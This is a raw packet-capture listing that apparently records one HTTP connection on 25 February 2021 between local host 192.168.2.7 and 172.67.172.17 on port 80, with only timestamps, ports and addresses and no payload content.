Feb 25, 2021 15:16:00.416721106 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.417426109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.417460918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.417484045 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.417850971 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.417874098 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.418277025 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.418308020 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.418330908 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.418412924 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.419101954 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.419131041 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.419153929 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.419200897 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.419250965 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.419985056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.420017958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.420041084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.420084953 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.420814037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.420845985 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.420867920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.420909882 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.420970917 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.421654940 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.421686888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.421710968 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.421755075 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.422482014 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.422512054 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.422534943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.422550917 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.422581911 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.423329115 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.423358917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.423382044 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.423429966 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.424179077 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.424211025 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.424235106 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.424295902 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.424334049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.425018072 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.425049067 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.425071001 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.425137043 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.425831079 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.425858021 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.425880909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.425937891 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.425973892 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.426527977 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.426558971 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.426580906 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.426603079 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.426634073 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.426681042 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.427372932 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.427405119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.427428007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.427449942 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.427510977 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.427536011 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.428227901 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.428255081 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.428277969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.428302050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.428323984 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.428369999 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.429068089 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.429106951 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.429130077 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.429152012 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.429181099 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.429220915 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.429932117 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.429966927 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.429985046 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.430012941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.430032015 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.430094957 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.430793047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.430825949 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.430854082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.430874109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.430877924 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.430958033 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.431619883 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.431655884 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.431680918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.431710958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.431732893 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.431798935 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.432456017 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.432471037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.432492971 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.432528019 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.432533026 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.432609081 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.433303118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.433340073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.433365107 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.433418036 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.433427095 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.433500051 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.434710026 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.434740067 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.434762955 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.434786081 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.434828043 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.434869051 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.436321974 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.436353922 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.436378956 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.436400890 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.436438084 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.436510086 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.437156916 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.437182903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.437207937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.437232018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.437263012 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.437293053 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.437578917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.437607050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.437628984 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.437654018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.437673092 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.437726974 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.438440084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.438468933 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.438489914 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.438512087 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.438550949 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.438581944 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.439256907 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.439285040 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.439306974 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.439343929 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.439351082 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.439388037 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.440145969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.440176010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.440197945 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.440221071 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.440241098 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.440265894 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.441031933 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.441063881 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.441087961 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.441111088 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.441134930 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.441165924 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.441916943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.441947937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.441971064 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.441992998 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.442013025 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.442054033 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.442651987 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.442682028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.442704916 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.442727089 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.442747116 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.442780018 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.443489075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.443519115 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.443543911 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.443566084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.443576097 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.443610907 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.444274902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.444310904 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.444333076 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.444354057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.444375992 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.444403887 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.445126057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.445161104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.445183992 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.445205927 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.445229053 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.445261955 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.445969105 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.446001053 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.446023941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.446046114 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.446065903 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.446099997 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.446826935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.446842909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.446872950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.446897030 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.446919918 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.446957111 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.447669029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.447700977 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.447724104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.447750092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.447798967 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.447819948 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.448448896 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.448477983 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.448499918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.448522091 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.448530912 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.448551893 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.448589087 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.449270010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.449301004 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.449323893 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.449346066 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.449367046 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.449402094 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.450108051 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.450136900 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.450162888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.450184107 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.450186014 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.450233936 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.450898886 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.450932026 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.450954914 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.450978041 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.450984955 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.451028109 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.451704979 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.451738119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.451761961 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.451785088 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.451795101 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.451827049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.452589035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.452625036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.452646971 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.452670097 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.452687979 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.452723026 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.453423977 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.453459024 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.453480959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.453505993 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.453521013 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.453552008 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.454128027 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.454161882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.454185963 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.454210043 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.454222918 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.454267025 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.454936981 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.454967976 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.454991102 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.455013990 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.455039978 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.455066919 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.455749989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.455780983 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.455802917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.455822945 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.455846071 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.455873966 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.456572056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.456610918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.456634998 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.456660032 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.456681967 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.456708908 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.457355976 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.457396984 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.457427025 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.457448959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.457459927 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.457493067 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.458106995 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.458132982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.458154917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.458178997 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.458211899 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.458245039 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.458944082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.458985090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.459007025 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.459060907 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.459079981 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.459114075 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.459156036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.459933043 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.459961891 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.459983110 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.459999084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.460352898 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.460428953 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.460465908 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.460489035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.460510969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.460530043 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.460534096 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.460552931 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.461438894 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.461472034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.461494923 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.461517096 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.461518049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.461550951 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.461555958 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.461669922 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.462433100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.462465048 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.462488890 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.462510109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.462536097 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.462548018 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.462590933 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.463355064 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.463387966 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.463412046 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.463432074 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.463450909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.463530064 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.464251995 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.464282990 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.464306116 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.464329958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.464351892 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.464351892 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.464380026 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.466998100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467022896 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467048883 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467067957 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467087030 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467108965 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.467109919 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467128992 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467154026 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467158079 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.467171907 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467191935 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.467195988 CET	80	49736	172.67.172.17	192.168.2.7
